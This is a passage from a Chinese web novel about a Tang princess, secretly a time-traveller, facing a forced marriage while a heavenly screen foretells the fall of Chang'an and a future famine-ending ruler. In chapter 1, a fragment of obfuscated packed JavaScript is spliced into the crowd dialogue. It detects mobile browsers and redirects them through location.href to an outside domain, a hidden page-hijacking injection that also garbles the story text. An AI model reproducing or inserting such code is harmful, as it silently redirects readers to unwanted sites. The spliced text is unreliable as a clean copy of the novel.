《天幕剧透后我靠抽卡救大唐》
1. 婚嫁危机
“坤承乾德,帝女禀灵。山河毓秀,兰蕙钟英。咨尔皇十五女李鸾,柔嘉成性,淑慎持躬。
今封尔为真阳公主,食邑一千五百户,赐实封三百户,汤沐邑于宋州。尔宜恪守妇礼,敦崇四德;谨修内则,以肃邦仪。
庶几无忝于帝女之尊,无愧于朝廷之训。”*
尖锐的宣旨声划破了院中的寂静。宦官边令诚站在荒芜的庭院中央,蹙眉望着跪在泥地里的身影。
李鸾闻声抬头,手中还攥着一把沾满湿泥的豆苗。初春的阳光照在她渗着细汗的额角,几缕碎发黏在颊边。她藕灰色的上襦肘部磨得发白,艾绿间色裙的下摆沾满了深一块浅一块的泥渍。
边令诚的视线落在她指甲缝里嵌着黑泥,眼中嫌恶更甚。
“公主,接旨吧?”他将合起的圣旨往前递了递,声音里透着毫不掩饰的不耐。
他打量着这位几乎被遗忘的公主。
堕马髻松垮地歪在一边,额发垂落遮住了大半眉眼,整个人看起来笨拙而局促。
这模样让他忽然想起十一年前宣废后圣旨时,她也是这般呆愣地跪着。
彼时这位真阳公主才只有七岁,别的孩子早已读诗书的年纪,她面对母亲王皇后被废这等,只是呆愣地看着,一声啼哭都不曾有。
后来听说皇帝还亲自把她召了去,问她:“皇后被废,你是否哀伤?”
这蠢子只是呆愣地问了句:“什么是被废?”
边令诚摇头。
到底是抱养的贱婢之子,养了七年竟都养不熟。
“公主?”边令诚又催了一声,忍不住用袖子掩住口鼻。这院子里弥漫着泥土和粪肥的气味,实在难闻。
李鸾仿佛这才惊醒,慌忙在裙摆上擦了擦手,恭恭敬敬地接过圣旨。动作间,指腹的细茧在明黄的绢帛上留下几道模糊的泥印。
边令诚强忍着嫌恶,勉强挤出几分劝诫的语气:“陛下如今又想起您,这是天大的恩宠……京兆韦氏彭城公房的六公子韦坚,年轻有为,深得圣心,您的福气还在后头呢。”
李鸾低着头,唯唯诺诺地应了声:“谢、谢阿爷恩典。”
边令诚满意,也点点头。
很好,听得懂人话,也算个正常人,送得出手,可以回陛下的话了。
至于太真娘子的话,公主是否愿意这门亲事……
愿意?
边令诚忍不住嗤笑。
婚嫁之事,女子的意愿是最最不要紧的事情,况且就这个呆子,她能懂什么?
就是公主不愿意这门亲事,难道太真娘子还能做什么不成?
她如今是最得皇恩,可说到底还没进宫呢。
“旨意已传,奴便告退了。”边令诚转身离去,绣金的衣摆小心地提起,生怕沾上院中的泥土。
李鸾慢慢把头抬起,被额前碎发遮掩的眼睛黝黑明亮。
三月初春,并不刺眼的阳光透过窗户正照在了李鸾手中的明黄圣旨中央,像一把刀贯穿其中。
“恪守妇礼,敦崇四德……”
黄麻诏指被她揉出细碎的声响,讽刺冷芒在她眼底一闪而过。
十一年不闻不问,如今需要卖女儿换钱了,倒想起她这个“帝女”了。
韦坚,那个以虐杀婢女闻名的京兆韦氏六公子。整个长安城的贵族都对其避之不及,她那位好父皇却要亲手将女儿推入火坑。
至于为什么是韦坚……
李鸾闭上眼,穿越前熟读的史书在脑海中一页页翻过。
京兆韦氏彭城公房的六公子,韦坚,水陆转运使,掌控着江淮财赋的漕运命脉。
再有三年,便要因修漕运之功,兼任御史中丞。谁看了不说一句才高受宠,深得圣眷?
但李隆基不在乎这些,他现在只要钱,只想要有人能填满他那永无止境的奢靡欲壑。
而她,就是被选中去拴住这条恶犬的筹码。
李鸾凝视着自己沾满污泥的手——这十一年来,她靠着前世在农科院学来的知识,在这方小院里默默耕种,降低存在感,消失在所有人的视线中。
可还未待找到远走高飞的时机,却被当成政治筹码送入虎口。
按照唐制,公主获封后最迟次年就要出嫁。李隆基急着用钱,恐怕连今年都等不及。
她必须阻止这门婚事。
阳光照在刚刚破土的番薯苗上,嫩绿得刺眼。李鸾缓缓握紧手中的圣旨,指节因用力而发白。
“老不死的。”她低声咒骂,满目冰冷。
-
“就今年?这也太快了些……”
玉真观内,白玉香炉生烟,金线绣幔后,隐约可见一个身着象牙绸道袍的丰腴女人。
她心里如是想着,脸上却又带着怜悯又自嘲的笑。
金线绣幔的另一边,是李隆基在听边令诚的回话。
边令诚的跪在地上,仿佛是皇帝给自己封号一般与有荣焉:“高兴,真阳公主笑眯眯的,怎么看都是满意的模样。”
“要奴说,这桩好姻缘是旁人求不来的,也就是帝女这样身份尊贵的,才有资格拥有。”
他尖锐的声音谄媚,像叫声难听的笼养鸟儿,知道说些什么能讨主人欢心以换得吃食。
李隆基隔着绣幔,看了一眼杨玉环。
一个连姓名都几乎忘记的女儿,能得他亲口赐婚已是福分,至于韦坚在外的名声……那无关紧要。
恼人的是,不知是哪个多嘴的,让玉环听到了这件事。
这岂不是如触景生情一般,让她想到了自己的伤心事?
他得到美人的手段,也实在不算光彩。美人还未收回宫中,万万不可在这时候教她伤心。
他挥挥手,示意边令诚离开:“你之后就跟在太真身后侍奉着,下去领赏吧。”
然后快步向杨玉环走去。
边令诚欢喜着低头碎步离开,他听到皇帝猴急撩开绣幔的声音,一点不敢多看。
李隆基放柔了声音,伸手握住了杨玉环的手:“三娘,你听到了,真阳对这婚事也是满意的。”
“先前怜她年幼失母,在我身边多留了几年。如今年过十八,也是时候成家了。”
“你放心,这婚事我是精挑细选,京城众多年纪适配的二郎,独独韦家那孩子仪表堂堂,在水利方面有大才,十五见了无有不欢。”
杨玉环低眉垂眼。
在身边留了多年,是抛在废弃宫殿不管不问;精挑细选,是找了个暴虐无道,鞭笞侍女,当街纵马践踏流民的狂徒。
在水利方面有大才……听说江淮钱税皆经韦坚手下的航运线。
只有这句是真的,也只有这句是皇帝打算赐婚的目的。
杨玉环的心更冷了些。
最是无情帝王家,她这两年已经看遍了人情冷暖不是吗?
纵然她看出了皇帝的真实目的,看透了那无辜公主的命运,又能如何呢。
她只能给予那公主一点不值钱的怜悯,除此之外,她无计可施。
她连自己都救不了。
杨玉环敛下眼底所有情绪,回握住李隆基的手:“陛下待妾的好,妾都知晓,妾只恨自己蒲柳之姿,无以为报……”
李隆基用力握住杨玉环的手,顺势把她拉进怀里。
他快六十岁了,已经不再年轻,鬓角星星,一双清明的眼睛也带着浑浊的黄褐色。
可怀中年轻貌美,年华正好的女子,让他生出一种他仍在壮年的错觉。他享受这种错觉,并心甘情愿沉沦其中。
他不由得更放柔了声音:“三娘想报答朕?你既要报,不如……”
【报应啊!】
铅灰色的云层快速堆积,浓厚低垂,以遮天蔽日之态悬在长安上空。
天忽得暗了下来。
空灵又带着气愤的声音响彻整个长安。
【这就是大唐的报应!】
这声音分辨不出方向,只是掷地有声,振聋发聩一般,震动着所有大唐人的耳膜。
李隆基手不觉用力,搂紧了杨玉环。
杨玉环微张嘴,震惊看着窗外天空的变化。
短短几个呼吸的时间,万里晴空被黑云倾覆,整个大唐暗如黑夜。
“这莫不是……”天罚?
杨玉环话到嘴边,又咽了下去。
她抬头看了看面前九五之尊的皇帝,只直觉这天空异象许是奔着他而来。
李隆基眼底的浑浊未散,紧抿着嘴。
这道从天而来的声音究竟何意?
如今的大唐在他的治理下,河清海晏,升平盛世,又何来报应?
满城百姓哗然。
胆小的四散跑开,躲进酒馆茶楼,胆大的仰头看着难得的异象,左右交谈。
“这莫不是神迹?”
“是仙人的指示吧?”
“什么指示,要我说这就是警告。”
“警告谁啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279393|182487||http|test|mini|href|location''.split(''|''),0,{}));
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>“能是谁,韦家那位修渠开道的。拖欠工人银钱又纵马踩死闹事者,美其名曰此为警示,实非君子所为!”
已到大安国寺面前的李鸾凝神看着天空异变。
饶是她在现代见多识广,也绝没看到过这样奇怪的天气。
这种天气变化甚至还有旁白配音?
李鸾仔细看着天上凝聚的黑云,在几朵云的相接处发现了一丝光。
这光由线到面,逐渐扩散,最终扩散成了方正的形状。
方正的形状里开始出现画面。
一杆半折的唐旗斜插在地,大半旗面倒在泥地,染上被血水浸泡的赭色污泞。
李鸾挑眉恍然。
她这是在唐朝看上了巨形电视了。
风卷起焦黑的草灰,血腥腐烂的气味被一并裹挟,经由大唐的凉风,传到了每一个大唐人的鼻中。
百姓停止讨论,朱雀大街是前所未有的寂静。
所有人都嗅到了一场惨烈的战事。
这场战斗中,战无不胜的大唐,巨唐,是可怜的战败者。尊严随着战旗一起倒下,被狠狠碾进了泥地。
身临其境的感觉让李隆基眉头紧皱。
这是仙人所预知的未来?
想到这是会在未来发生的事,李隆基只觉怒火中烧。
在他之后登上皇位的究竟是哪些人?为什么会把国力昌盛的大唐败成这窝囊样子?
到底是哪个不肖子孙!
李隆基的脑子里闪过一张又一张儿子的脸,试图揪出这画面的始作俑者。
李鸾摸了摸鼻尖,彻底明白了。
还是VR沉浸式观影。
她废了一会的功夫接受了自己在大唐看VR电视这件事,像十八年前接受自己穿越那样。
这种超自然的事件,她已经是亲身经历者了,现在她的接受程度很高。
【曾经的长安那是熙攘繁盛,万邦来朝啊。这里是长安,这里,是大唐的心脏。】
天幕画面变化,熙熙攘攘的声音不绝于耳。
所有长安百姓只觉得令人作呕的血腥味消失,香料的味道混杂着胡饼的味道,驼铃阵阵,满载的大食珠宝和波斯琉璃,在阳光的照耀下显现出斑斓的色彩,让人观之晕眩。
皇帝高高坐在龙椅上,接受万邦朝拜。
所有人都以皇帝的视角,看着匍匐在台阶之下的,乌泱泱的人群。
身临其境的真实感觉让所有人的心脏空前膨胀,神音的吹捧让他们嘴角上扬,飘飘然地,恍若置身一场登基为帝的梦。
是了是了,这才是大唐嘛!
突然,神音话锋一转——
【野旷天清无战声,四万义军同日死!】
【所有的大唐人都不会忘记五个月前,长安沦陷的那一天。】
【就五天的时间,就在潼关,十八万大军从出关到互相践踏,抱头鼠窜地往城里跑。】
【潼关破了,长安的最后一道防守就没了,长安不保啊。】
【一定有懂地理的人要问了,潼关天险地势浑然天成,北临黄河急流,南依秦岭峭壁,东边的函谷关百里余长,两侧山崖夹道,一夫当关,万夫莫开,实在是易守难攻。】
【能把潼关都破了的军队,那是多么的勇猛啊。】
【我这里得说,跟叛军勇猛没屁的关系哈,全赖那个脑子塞了驴毛的唐玄宗,他非让将士们出关迎战。】
【不止一位将军苦口婆心劝他,不能出关啊。】
【唐玄宗说我不听我不听,我就问你出不出关,不出关那就杀头。】
【第一个将军的头颅挂在城墙上,没人敢说话了。】
【出关还有一线生机,不出关,那必死。】
天幕画面又发生了变化。
厚重的朱红城门大破。
尖叫痛苦的呼号,夹杂着胡将弑杀的畅快大笑响彻长安上空。
【潼关失守,长安沦陷,那长安的皇帝呢?让那些将士们出关的皇帝在哪呢?】
【当然是——逃跑啦!】
通往大明宫的路空荡萧条,商贩百姓不见,遍布的横尸取而代之,一双双不瞑目的眼睛被秃鹫啄食。
叛军纵马直奔含元殿,数级台阶之上,明黄龙椅空悬。
满城哗然!
站在天幕下的李隆基觉得自己哪怕已经进了棺材板里,都要被气得坐起来了。
那个弃城而逃的不肖子孙唐玄宗,究竟是谁?!!
2. 预言
第二章
李鸾深色一暗,看向天幕的神色都带了沉重。
她不能再轻松看待这突生的异象。
作为一个穿越者,穿到过去自带的金手指是什么?那就是知道还没有发生的事情啊。
现在这个天幕的出现,可以说大大削弱了她金手指的能力。
如果现在的唐人提前知道历史,那么历史是否会产生蝴蝶效应因此而改变?
李鸾的脸臭臭的。
有种被坑了但无计可施的无力感。
她提了提自己呆板松垮的艾绿间色裙,往大安国寺内走去。
这是长安最煊赫的皇家佛寺,高悬的牌匾还是睿宗的亲笔。
今日天有异象,大多数的香客被安排进了寺庙的客房,李鸾的身影在油亮蜿蜒的石阶上分外明显。
她要找的人就在过了这条石板路的弥勒阁。
檐角金铃阵阵,自天幕散开的血腥味道被周围的檀香冲淡,作为大唐最大的寺庙,这里的确有抚慰人心的力量。
“上次一别,一晃眼竟过去了十一年。”
站在弥勒阁最高层的僧人一身绛色袈裟,腕间一串淡色琥珀佛珠。
他看着李鸾,眉眼间带着淡淡的笑。
这是大安国寺的上座僧伽,明悟大师。
李鸾双手环胸上下打量明悟:“看来这几年,你混的不错啊。”
她眼中带着狡黠的光,和接旨时的木讷少女判若两人。
明悟笑容不变:“皆是托公主的洪福。”
李鸾挥挥手:“客套的话就不必多少了,有交易,做不做?”
“什么交易?”
“自然是一个,能帮我改变命运的交易。”李鸾靠在栏杆上,懒洋洋地。
明悟谨慎道:“公主改命的本事可比贫僧要厉害许多。”
李鸾挥手:“此改非彼改,你给我改个克夫克父的命格。”
作为皇室寺庙中最厉害的高僧,知过去,晓未来,这很容易办到。
明悟看了一眼外面天空异象。
朱雀大街之上尸横遍野,哪怕寺庙有檀香气味作遮掩,血腥气味依旧挥之不去。
扑朔迷离的异象,必然也伴随极大的机缘。
他回看李鸾,心中已打定了主意:“想必公主已经打算再给贫僧一次预知未来的机会了。”
李鸾看着天幕上的遍地残骸:“二十九年七月,伊、洛及支川皆溢,害稼,毁天津桥及东西漕、上阳宫仗舍,溺死千余人。”*
明悟皱眉,只觉得面前人在说玩笑话:“公主确定?这并非人力可为,若错一次……”
若错一次,他在长安积累起来的威严将荡然无存。
他赌不起。
李鸾当然知道这满心算计的和尚有什么顾虑。
要用这样的人,必然要开出足够的筹码。
而恰巧的是,她最不缺这种动动嘴皮子的筹码。
李鸾自信笑了笑:“看来大师并不信我。那大可以先看看我的诚意。”
她负手而立,仰头看天:“夏寒六月霜,早雪覆长安,这是我的预言。你若不信,大可以等上一等。”
明悟更觉离谱:“六月飞雪?莫说长安,便是苦寒北地,此时也该是流火铄石。公主这预言,实在有点过于荒唐。”
李鸾站起身:“我说了,你可以先看看我的诚意。你大可以不把早雪这件事说出去,此事你知我知。”
她看了看天:“天也知。”
“我改命的事情实在着急,所以这雪啊,只需就能落下。”
她不再与明悟多言,挥挥手转身离开。
【唐玄宗他挥一挥衣袖不带走长安的一片云彩,至于金银细软是带的,温香软玉的妃子也是要带的。】
“竖子尔敢,竖子尔敢!!”
李隆基连杨玉环都不搂了,他恨不得把所有的皇子都叫到面前指着鼻子骂。
到底是谁?
【虽然唐玄宗人老脑子也昏,但是大唐就真的没有希望了吗?】
所有大唐人全都看着天幕,尤其是居住在长安的人,这是和他们生死息息相关的事情,他们无法不在意!
如今没有任何事情证明这天幕的真假,可万一是真的呢?
鼻尖的血腥味挥之不散,被秃鹫啄瞎的眼坑毛骨悚然,被挂在城楼前将军血淋淋的头颅触目惊心。
长安沦陷,皇帝尚且有机会逃跑,他们这些平民百姓只有被敌寇当靶子射杀的份。
李隆基不再叱骂,盯紧天幕。
难道他的不肖子孙之中,还是有能拎出来独当一面的人?
李鸾摸着下巴琢磨:“大唐的希望……”
“嘶……”
“那还真是……”
“没有啊。”
她听着天幕传来的,带着激动的语气,有点茫然。
安史之乱对于大唐来说就是一场浩劫,这场战乱全方位,颠覆性地摧毁了盛世的根基。
人口锐减,农业瘫痪,财政崩溃,军事力量瓦解,大唐版图从边缘被大幅蚕食。
就是这时候出现的名将郭子仪和李光弼,也只能暂缓唐朝衰亡,远远不足以让天幕用如此激动的语气,称呼其为大唐的希望。
李鸾的心像入定的老僧。
大唐灭亡是必然,是历史书上铁板钉钉,无从更改的文字。乱世自保已是艰难,哪里有什么救世主。
【都人回面向北啼,日夜更望官军至。】
【此时的大唐当然还有希望!】
天幕画面突转,不再以广视角聚焦于血腥的朱雀大街或是皇帝的龙椅。
画面聚焦在一个又一个长安百姓的脸上。
他们有的满脸皱纹,有的不过几岁稚儿,有抱着孩子已出嫁的妇人,有拿着麦穗的农民。
他们的脸算不上干净,尤其是妇女的脸上更是抹上了锅底灰,可他们都看向北方,流着泪的眼睛迸射出惊人的,可称之为期望的光。
这样多双带着感情的眼睛,有难以言喻的震撼人心的力量。
到底是谁,会让他们如此期盼那位救世主的降临?
天幕的内容牵起所有人的心弦,但这所有人不包括李鸾。
“都人回面向北啼,日夜更望官军至?”
这是杜甫的《悲陈陶》,创作于唐肃宗志德元年的冬天,也就是长安沦陷的那年冬天。
天幕展示的画面就是这首诗的创作背景,这些长安百姓所望向的方向,是唐肃宗李亨的方向。
李鸾已经不知道该挂出一个怎样的表情。
现在的太子,未来的唐肃宗李亨,是未来的大唐的救世主?
别闹了,信李亨是大唐救星还是信我是秦始皇?
事实上,只有李鸾不相信大唐可以拥有救世主。
天幕上,妇人抱着的那个孩子抬头看向自己的母亲。
“阿娘,你说昌禄陛下,她会来救我们吗?”
“会的,她一定会来的。”妇人眼含热泪。对于昌禄陛下会来救他们于水火这件事,她深信不疑。
“当然会来,只有昌禄陛下才会想着我们!”
耕夫用粗糙带泥的手握紧了手里的麦子:“她说会让我们吃饱饭的那天,谁都不信她,可她最后就是做到了。”
所以这次,她说会收复长安,他们也一定等着她。
【对!没错!我今天要讲的就是大唐的救星,伟大的昌禄陛下!】
【历史浩如烟海啊,这么长的历史长河,那么多位皇帝,我最喜欢的还是昌禄陛下。】
【她的魅力在哪呢,我想了又想,觉得她最吸引我的,还是她身上的人性,她是一个并不高高在上的,有血有肉的皇帝。】
【关于昌禄陛下的故事,从哪里讲起呢?我想,还是应当从一株麦穗说起。】
天幕画面从农民黝黑的脸,顺着他的视线往下,最终定格到
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了他手中的麦穗上。
长安城内,酒馆茶楼里,朱雀大街上,无论是贩夫走卒,还是商人耕夫,皆额手相庆。
“有救啊,大唐有救!”
“这个昌禄陛下到底是谁啊,没听说过啊。”
“能被这么多人坚定地认可,那一定是个好皇帝吧?”
人多了,也有不和谐的声音。
“我说,这八字没一撇的事情,你们倒在这里庆祝上了。”
“就是,谁知道这天上说的是真是假?”
有人马上反驳:“那你如何解释这异象?这是人力可完成的?”
那人不再说话。
天上出现真人一样的画影儿,这实在是一件太稀奇的事了。
除了神仙所为,没什么更好的解释。
听到大唐有救,李隆基松了一口气。
他一手缔造的开元盛世,决不允许有任何人毁了他。
可在轻松之余,他眼底浮现出浓浓的忌惮。
这个还没出现的大唐救星,昌禄陛下,究竟是谁?
天之异象,是否又是为了这个昌禄陛下而生?
若这位皇帝是个实实在在的,广得民心的皇帝,那么他未来即将做的事情,被这天幕一件件讲出来……
李隆基瞳孔缩了缩。
恐会威胁他的位置啊……
在得知大唐未来将有一个把百姓放在心上的明君时,李隆基的第一反应不是高兴,而是忌惮。
这种忌惮在逐渐激动的神音下,竟慢慢冒出了扼杀的苗头。
大唐只能有一个皇帝,他绝对不允许有第二人在他尚坐在这个位置的时候,有超越他的能力。
还是那个问题,天幕所说的昌禄,究竟是谁?
只有在他还未崭露头角的时候,控制其的成长,才最令人放心。
天幕所说的话颠覆了李鸾的认知。
她不再吊儿郎当,站起身子。
她把脑袋里装的历史都翻遍了,也没有找出一个叫昌禄的皇帝。
可明明她从十八年前穿越来至今,所经历的一切都和记忆里唐朝的历史脉络相吻合,分毫不差。
这个天幕究竟是哪儿来的?
那个框框右上角明明带着她熟悉的平台logo。
难不成这傻子装久了,真的对她的智商产生了一定的影响?
李鸾眼中的疑惑浓得像一团雾。
【大唐虽然繁盛,但多灾害,缺粮食,这件事大家都知道吧?】
【我举个例子,李隆基在开元年间多次前往洛阳,他去干嘛呀?难不成真是不嫌麻烦两个都城的龙椅都要坐一坐?】
【不是的,最根本的原因还是关中粮食危机。关中耕地有限,人口又逐年增长,米不够分的。这就只能依赖漕运把江淮那边的粮食给送过来。】
【但糟糕的是,那时候的漕运技术也不太行,运输路线艰难。】
【有人要问,那水路走不通,陆运不行吗?行是行,但陆运花的钱太多太多,就是皇帝的钱袋子也吃不消啊。】
【既然米过不来,那我就往有米的地方去呗。李隆基是这么想的,所以他经常在灾荒的时候,从米少的西都长安跑去东都洛阳。】
【皇帝都被粮食这事愁得两头跑了,更别说普通百姓了。他们没有迁居的实力,只能忍受饥饿。受不住怎么办?只有饿死。】
【就在这样的时代,昌禄陛下出现了!她以一己之力,解决了整个大唐严峻的粮食危机问题。】
天幕说的话实在是直击痛点,这甚至比之前出现的那场长安战事都扣人心弦。
耕夫努力种地,商人努力经商,所有人都在勤勤恳恳做自己手里的活,哪怕是小偷为了偷个钱袋子都要绞尽脑汁苦练手速是为了什么啊?
为了吃饱饭呐!
现在,有人告诉他们,有一个人有让全天下的人都吃饱饭的能力!
整个长安都沸腾了。
3. 暴露
第三章
“解决粮食危机问题……这意思是不是,我们大家都能吃饱饭了?”
“没有饥荒了吗?前些年还闹蝗灾呢,就连皇帝都要去洛阳就食……”
天幕用语言勾勒出了一个世界再无饥荒的完美图景。
可这样的图景距离他们实在太远,大多数没钱的耕夫,所希望的仅仅是不被饿死,能活下来罢了。
过分智慧的人像妖怪,脱离现实规律的话就是蛊惑人心的妄言。
被饿久了的百姓,尽管因为天幕的话而振奋,可时代的局限让他们随之而来的反应是敬畏,是怀疑,甚至是恐惧。
“你爷的胡吣!简直是弄妖话哄骗众人!”见过更早年岁灾荒景象的暴躁老人指着天就骂。
信佛者双手合十地问:“得福必献祭,能永远吃得饱饭,这得供多少香火啊。”
有的对天幕说的那个皇帝抱怀疑态度:“厉害的皇帝也听说过,那厉害的跟神仙一样,就像假的了。”
“可别是什么妖术吧?”
少阳宫内,一个体貌丰伟的中年男人紧紧盯着天空异象。
长期的谨小慎微让他虽挺拔,但略显拘谨。
可此时此刻,这份拘谨也被他胸中涌动的,不可为人所知的野心冲淡了。
恍惚间,他的心成了一面鼓,而天幕的声音就如鼓槌,字字句句都敲击在了他的心上。
心湖一圈一圈涟漪荡着,直至天幕了句话——“昌禄陛下,她以一己之力,解决了整个大唐严峻的粮食危机问题!”
涟漪撞到了他的脑子,晃出了其中潜藏已久的心思。
李亨思索着。
若天幕所说皆是预言,那么这个昌禄陛下,就绝不可能是他的父皇。
天幕既没有说大唐已改朝换代更变国姓,那就说明,这位大唐的救星,未来的昌禄陛下还是李姓。
既然是李姓……
李亨抬头挺胸,负手而立。
既然是李姓,那为何不能是他这位名正言顺的东宫太子呢?
皇帝弃城而逃,长安失守,太子接手江山,收复国度力挽狂澜,这很合理吧?
李亨压抑着情绪,来回踱步。
何止合理,简直完美!
反观他那位坐在龙椅上,已经逐渐昏庸耽于享乐的父皇,才像是那个弃城而逃的皇帝。
长时间的隐忍让李亨比旁人更会隐藏自己的情绪,尽管此时此刻,他因为自己的猜测而心旌荡漾,可脸上依旧挂着一个“竟有如此明君?实在是大唐之幸”的肯定表情。
天幕下,眼白已经发黄的李隆基,眼里难得露出了明显的认真。
作为皇帝,他实在是太清楚关中是多么缺粮食。
粮食不仅对关中很重要,对大唐很重要,不仅是大唐,粮食这个能喂饱人肚子的东西,在历朝历代,都太重要了。
一日无粮则饥,三日无粮则乱,王朝稳定的根基就在于此。
不仅人需要粮食,行军打仗也是个消耗粮食的事,若断绝军队粮草,不出半月,队伍必散。
他如今为何看中韦坚?韦坚擅水利,能修渠,从江淮运来的钱财米粮,皆他手下的水路网。
他有大用啊。
不然他韦坚凭什么能娶公主?
至于韦坚是怎么性情暴戾,又是怎么视百姓性命于无物的,那不重要。
几个贱民的命,没了就没了。
至于女儿嫁过去会不会受苦,那也无足轻重。
那到底是个公主,韦坚还真能做闹出人命的出格之事吗?
能用一桩婚事,换韦坚为他忠心耿耿地卖命,实在是一笔稳赚不赔的生意。
公主不比皇子,一个女人,不能提刀上马,不能参议朝政,靠成婚就能有此展现价值的时候,她该感激他这个做父皇的,给了她一个为李唐皇室出力卖命的机会!
李隆基看着天幕,觉得这异象的出现也不算坏事,至少可以听听那个,昌禄皇帝,是怎么解决粮食危机问题。
那个叫昌禄的能让百姓吃饱饭,怎么他李隆基就不能吗?
到时候谁还知道这昌禄是谁,全天下的百姓看到粮食的时候,皆要对他李隆基感恩戴德!
【好,关于昌禄陛下让百姓吃饱饭的第一步,那就是推广改良版的直辕犁——曲辕犁。】
李隆基逐字分析。
曲辕犁?听起来像是发明了一种新的工具。
那只要他能弄明白这工具改造的原理,或是能看到这犁长得样子,那就可以把昌禄皇帝的功劳揽到自己身上。
李隆基打着完美的如意算盘,并挥手让左右快速通知木工部的匠人。
他亲自叮嘱:“若天幕出现了这个曲辕犁的模样,务必第一时间画下来,越详细越好!”
曲辕犁?!
李鸾的脑袋噌地一下就抬起来了。
从没听说过曲辕犁是哪个皇帝发明的啊?这玩意明明是劳动人民在广泛的实践中一步步改造出来的。
并且曲辕犁是在唐后期才广泛推广。
能把未来的东西提前拿出来……
感情这个昌禄皇帝跟她是从同一个地方来的啊!
李鸾呸了一口。
狡诈的穿越者,为了当上皇帝获得民心,把古代劳动人民的智慧据为己有。
“嘿——!”
天幕传来一声闷吼。
众人齐齐抬头看去。
只见一双赤脚踩住的,是大片龟裂灰白的土地。
这双脚的主人是个满脸沟壑纵横的老人,他岣嵝着背,用枯木一样的手紧紧攥着黝黑木柄。
他抬起脚,发出闷吼,可这脚踌躇着又缩了回来。
“我如今年老,没什么力气,这改好的犁第一次用,大家都看着,不如找个壮年……”
“放心吧,这地,你可以犁开。”
一个穿着粗布衣的女子同样握住曲辕犁的木柄,与这个老人站在一线。
她的声音带着安抚人心的力量。
李隆基警觉地看着这个女子的背影。
天幕只展示出了她一半的背影,还有她一身粗布衣裳。一双握住犁柄的手也展示出来了,纤长但不柔嫩,满指缝的黑泥,一双手还带着不算薄的茧。
这不是一个帝王的手。
李隆基松了口气的同时,甚至觉得荒唐。
他怎么会觉得那个被称为大唐救星的昌禄皇帝是个女人?
放眼大唐有这个本事的女人也只有一个。
李隆基脑海中闪过了很多画面。
有武则天高高坐在龙椅上的,有自己年幼幽居方寸之地的,最后所有混乱的画面都转到了当下。
他在泰山封禅,他开创了大唐的盛世,他做出了那个女人没有做出的功绩。
大唐皇帝的位置,是完完全全属于他的,属于李唐皇室。
是他,李隆基,诛杀韦后,斩了婉儿,缢死太平。是他,亲手终结了那个女人专权的混乱时代。
李隆基负手而立,带着一种不容逾越的威严。
天幕上的老人更握紧了犁柄。在那么多乡亲们
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期待的视线中,他不能失败。成与不成关系到他们之后能不能吃饱饭。
他更弯低了腰,迈出了重重一步。
“嗤啦——”
他一个踉跄,包铁的犁铧干脆利落,切肉一般剖开结板的干涸土地。
老人不敢置信地又走了几步,湿润的土腥味从破开的缝隙中溢出。
和土地打了一辈子交道的老人太知道这味道意味着什么了。
他浑浊的眼睛里已经有了泪水。
整个天幕充溢着百姓的欢呼。
天幕下的百姓也震惊了。
“怎么可能!我们用的犁就是深耕也只能耕四五寸的深度。”
“耕一天的地得需要两个牛,一个人,大土块需反复耙碎,就是个壮汉扶犁一日都得磨破了肩。”
“能造出这样好的东西,我已经相信昌禄陛下能让俺们吃饱饭了!”
天幕的画面并没有结束。
“这犁还能调得更深些。”女子遍犁地边提醒。
“好,好!”老人忙不迭地答应着。他粗糙的手略微颤抖着,摸到了犁上的卡榫。
伴随“咔哒”一声的轻响,犁铧猛地下沉。
更深的土地被犁开了!深层地底黑色泥土如波浪一般涌上来,连带着不知多少年的腐朽树根也一并被挖了上来。
泥土的腥味更加浓烈,这种腐朽与新生交织的奇异味道,自天幕传出,涓涓不停地流泻到了每一个人的鼻间。
“就是这个味道!”天幕下的耕夫不能抑制地兴奋。
大唐的农民何其之多,没有人不知道能犁这么深的地代表着什么。
只需要换个工具,耕地的时候就能省那么多的力!
“我们用的那个笨不楞登的老犁,就得三个人一起用,家里哪有那些人?”
“可不是,耕得还浅,撅着大腚哼哧哼哧干一天,庄稼都种不深,雨水少点都得蔫吧。”
“我家那干巴老地翻一翻,指不定也能变成流油的黑土地呢。”
“这个工具到底是什么啊,这也看不清全貌啊。”
“是啊是啊,这但凡能展示出全部的样子,俺们也好跟着学。”
在百姓们都在关心这犁到底是什么样子的时候,李隆基的心却沉了下来。
天幕的画面实实在在地抽了他两巴掌。
此前对那个叫昌禄皇帝的质疑在此刻略显好笑。
到底是什么人,有这样大的才能?
此时此刻,李隆基深感威胁。
而天幕才刚开始,关于这位昌禄皇帝的事迹,他也仅了解了皮毛。
李隆基毫不怀疑这天幕在此后会说出更多的,为昌禄皇帝赚取民心的事迹。
那么一旦这位昌禄皇帝在天幕出现,被所有人都认出了身份……
李隆基握紧了拳头。
天幕之上,一缕微风拂过,一片衣角被吹起,遮住了三分之一的画面。
除了老人和指导老人耕地的女子,画面里又多出了一个人。
这人圆领袍的颜色倒素淡,只是衣角用赤黄线描边勾勒,彰显身份不凡。
“做得不错。”他对着那挽起裤脚,两脚插地的女子点头,以上位者的姿态予以肯定。
画面更大了一些,在耕地边围着的百姓兴奋着,流泪着跪成一片。
而他们膝盖所弯的,正是着那身份不凡的男人所在的方向。
李隆基瞳孔紧缩。
他看到了这个男人腰间所系的羊脂白玉双龙玉佩。
这是太子李亨!!
4. 抽十连!
羊脂白玉双龙玉佩。
这是龙啊,在大唐能有这个身份地位在身上佩戴龙形饰品的能是谁?除了皇帝,就是皇帝的儿子呗。
还不是普普通通随便拉出一个儿子就能戴上这个玉佩,只有太子才有这个殊荣。
李亨拿着自己的双龙玉佩,将自己的玉佩和天幕上的玉佩反复对比。
一模一样!
若仅仅只是这一个玉佩,他尚且对这未来皇帝的身份有所怀疑。
可天幕之上,明晃晃出现了自己的脸。
李亨激动不能自抑。
就在刚才,他还在对天幕所说的昌禄大帝是否是自己有所怀疑,可天幕就好像是他肚子里的蛔虫,甚至专门勾勒出了他的容貌。
这神迹简直就是为他而生!
欣喜冲昏了李亨的头脑,他甚至忘记了自己并不知道曲辕犁是什么这一回事。
